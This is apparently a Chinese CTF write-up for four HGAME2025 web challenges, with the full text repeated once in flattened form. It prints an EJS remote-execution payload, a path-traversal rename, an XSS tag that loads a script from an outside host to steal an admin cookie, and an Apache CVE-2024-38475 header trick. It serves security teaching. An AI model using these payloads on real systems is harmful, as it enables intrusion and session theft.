hgame2025 第一周 web wp
字数 2270 2025-08-22 12:23:24

HGAME2025 CTF 第一周Web题目解析与教学文档

Level 24 Pacman

题目概述

前端小游戏题目,考察前端代码审计和Base64解码能力。

解题步骤

  1. 绕过F12限制

    • 直接在浏览器设置中开启开发者工具
    • 或在URL前添加view-source:查看源代码
  2. 代码审计

    • index.js中发现疑似flag的Base64编码字符串
    • 第一个发现的字符串是假flag(干扰项)
    • 真实flag位于代码前段的另一个Base64编码字符串:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=
  3. 解码获取flag

    • 使用Base64解码工具解码上述字符串
    • 得到flag:hgame{u_4re_pacman_m4ster}

关键知识点

  • 前端代码审计技巧
  • Base64编码识别与解码
  • 干扰项的识别与排除

Level 47 BandBomb

题目概述

Node.js应用,考察EJS模板注入漏洞和文件路径穿越漏洞。

解题步骤

  1. 代码审计

    • 分析提供的app.js文件
    • 发现使用EJS模板引擎(app.set('view engine', 'ejs')
    • 存在render()函数调用,可能存在模板注入漏洞
    • rename路由未对输入进行限制,存在路径穿越漏洞
  2. 漏洞利用

    • EJS模板文件默认位于views目录下
    • 通过rename路由使用../穿越路径覆盖views/mortis.ejs文件
    • 使用模板注入payload:<%= process.mainModule.require('child_process').execSync('id') %>
  3. 实际操作

    • 上传任意文件(如test.txt
    • 使用JSON格式数据修改文件名:{"filename":"../views/mortis.ejs"}
    • 刷新初始页面触发模板渲染执行命令
    • 执行env命令获取flag

关键知识点

  • EJS模板注入漏洞原理与利用
  • Node.js路径穿越漏洞
  • Express框架默认目录结构
  • JSON格式请求构造

Level 69 MysteryMessageBoard

题目概述

XSS漏洞利用题目,考察跨站脚本攻击和Cookie窃取。

解题步骤

  1. 信息收集

    • 发现/admin路由
    • 登录框存在弱密码漏洞
  2. 登录系统

    • 使用用户名shallot和弱密码888888登录
    • 发现留言板功能
  3. XSS利用

    • 构造XSS payload:<sCRiPt sRC=//xs.pe/Ywd></sCrIpT>
    • 让管理员访问包含payload的页面
    • 窃取管理员Cookie:session=MTczODczNjk4OHxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV8UM10xoUJICms0NvchVjhygVLnAQtrV5ugbyvPcp0D1E=
  4. 获取flag

    • 使用管理员Cookie访问/flag路由
    • 获取flag:hgame{W0w_y0u_5r4_9o0d_4t_xss}

替代方案(不出网情况)

  • 构造XSS让管理员获取flag并输出到留言板
  • 解码Base64获取flag内容

关键知识点

  • XSS漏洞原理与利用
  • Cookie窃取技术
  • 弱密码爆破技巧
  • 不出网情况下的XSS利用方法

Level 38475 角落

题目概述

Python后端题目,考察Apache重写规则漏洞和SSTI条件竞争漏洞。

解题步骤

  1. 信息收集

    • 发现robots.txtapp.conf文件
    • app.conf显示Apache配置了URL重写规则
  2. Apache漏洞利用

    • 利用CVE-2024-38475漏洞读取源代码
    • 设置User-Agent: L1nk/头访问/admin/../app.py获取源代码
    • 同样方法获取templates.py文件内容
  3. 代码审计

    • 发现SSTI漏洞但过滤了{字符
    • readmsg()函数存在条件竞争漏洞可能
  4. 条件竞争利用

    • 第一次调用readmsg()时文件内容合法
    • 快速修改文件内容为SSTI payload
    • 第二次调用readmsg()时读取恶意payload
  5. 编写利用脚本

    • 构造条件竞争脚本快速修改文件内容
    • 使用SSTI payload获取flag

关键知识点

  • Apache mod_rewrite漏洞利用
  • 服务器端模板注入(SSTI)
  • 条件竞争漏洞原理
  • Python漏洞利用脚本编写

总结与学习要点

  1. 前端题目

    • 掌握浏览器开发者工具使用技巧
    • 熟练识别和解析Base64编码
    • 注意代码中的干扰项和真实flag区分
  2. Node.js题目

    • 理解EJS模板注入原理
    • 掌握路径穿越漏洞利用方法
    • 熟悉Express框架默认目录结构
  3. XSS题目

    • 掌握XSS payload构造方法
    • 了解Cookie窃取技术
    • 学习不出网情况下的XSS利用技巧
  4. Python后端题目

    • 了解常见Web服务器配置漏洞
    • 掌握SSTI漏洞识别与利用
    • 学习条件竞争漏洞的利用方法
  5. 通用技能

    • 代码审计能力培养
    • 漏洞利用脚本编写
    • 信息收集与目录扫描技巧

通过这四个题目的学习,可以全面掌握Web安全中的常见漏洞类型和利用方法,为进一步的CTF比赛和实际安全测试打下坚实基础。

HGAME2025 CTF 第一周Web题目解析与教学文档 Level 24 Pacman 题目概述 前端小游戏题目,考察前端代码审计和Base64解码能力。 解题步骤 绕过F12限制 : 直接在浏览器设置中开启开发者工具 或在URL前添加 view-source: 查看源代码 代码审计 : 在 index.js 中发现疑似flag的Base64编码字符串 第一个发现的字符串是假flag(干扰项) 真实flag位于代码前段的另一个Base64编码字符串: aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0= 解码获取flag : 使用Base64解码工具解码上述字符串 得到flag: hgame{u_4re_pacman_m4ster} 关键知识点 前端代码审计技巧 Base64编码识别与解码 干扰项的识别与排除 Level 47 BandBomb 题目概述 Node.js应用,考察EJS模板注入漏洞和文件路径穿越漏洞。 解题步骤 代码审计 : 分析提供的 app.js 文件 发现使用EJS模板引擎( app.set('view engine', 'ejs') ) 存在 render() 函数调用,可能存在模板注入漏洞 rename 路由未对输入进行限制,存在路径穿越漏洞 漏洞利用 : EJS模板文件默认位于 views 目录下 通过 rename 路由使用 ../ 穿越路径覆盖 views/mortis.ejs 文件 使用模板注入payload: <%= process.mainModule.require('child_process').execSync('id') %> 实际操作 : 上传任意文件(如 test.txt ) 使用JSON格式数据修改文件名: {"filename":"../views/mortis.ejs"} 刷新初始页面触发模板渲染执行命令 执行 env 命令获取flag 关键知识点 EJS模板注入漏洞原理与利用 Node.js路径穿越漏洞 Express框架默认目录结构 JSON格式请求构造 Level 69 MysteryMessageBoard 题目概述 XSS漏洞利用题目,考察跨站脚本攻击和Cookie窃取。 解题步骤 信息收集 : 发现 /admin 路由 登录框存在弱密码漏洞 登录系统 : 使用用户名 shallot 和弱密码 888888 登录 发现留言板功能 XSS利用 : 构造XSS payload: <sCRiPt sRC=//xs.pe/Ywd></sCrIpT> 让管理员访问包含payload的页面 窃取管理员Cookie: session=MTczODczNjk4OHxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV8UM10xoUJICms0NvchVjhygVLnAQtrV5ugbyvPcp0D1E= 获取flag : 使用管理员Cookie访问 /flag 路由 获取flag: hgame{W0w_y0u_5r4_9o0d_4t_xss} 替代方案(不出网情况) 构造XSS让管理员获取flag并输出到留言板 解码Base64获取flag内容 关键知识点 XSS漏洞原理与利用 Cookie窃取技术 弱密码爆破技巧 不出网情况下的XSS利用方法 Level 38475 角落 题目概述 Python后端题目,考察Apache重写规则漏洞和SSTI条件竞争漏洞。 解题步骤 信息收集 : 发现 robots.txt 和 app.conf 文件 app.conf 显示Apache配置了URL重写规则 Apache漏洞利用 : 利用CVE-2024-38475漏洞读取源代码 设置 User-Agent: L1nk/ 头访问 /admin/../app.py 获取源代码 同样方法获取 templates.py 文件内容 代码审计 : 发现SSTI漏洞但过滤了 { 字符 readmsg() 函数存在条件竞争漏洞可能 条件竞争利用 : 第一次调用 readmsg() 时文件内容合法 快速修改文件内容为SSTI payload 第二次调用 readmsg() 时读取恶意payload 编写利用脚本 : 构造条件竞争脚本快速修改文件内容 使用SSTI payload获取flag 关键知识点 Apache mod_ rewrite漏洞利用 服务器端模板注入(SSTI) 条件竞争漏洞原理 Python漏洞利用脚本编写 总结与学习要点 前端题目 : 掌握浏览器开发者工具使用技巧 熟练识别和解析Base64编码 注意代码中的干扰项和真实flag区分 Node.js题目 : 理解EJS模板注入原理 掌握路径穿越漏洞利用方法 熟悉Express框架默认目录结构 XSS题目 : 掌握XSS payload构造方法 了解Cookie窃取技术 学习不出网情况下的XSS利用技巧 Python后端题目 : 了解常见Web服务器配置漏洞 掌握SSTI漏洞识别与利用 学习条件竞争漏洞的利用方法 通用技能 : 代码审计能力培养 漏洞利用脚本编写 信息收集与目录扫描技巧 通过这四个题目的学习,可以全面掌握Web安全中的常见漏洞类型和利用方法,为进一步的CTF比赛和实际安全测试打下坚实基础。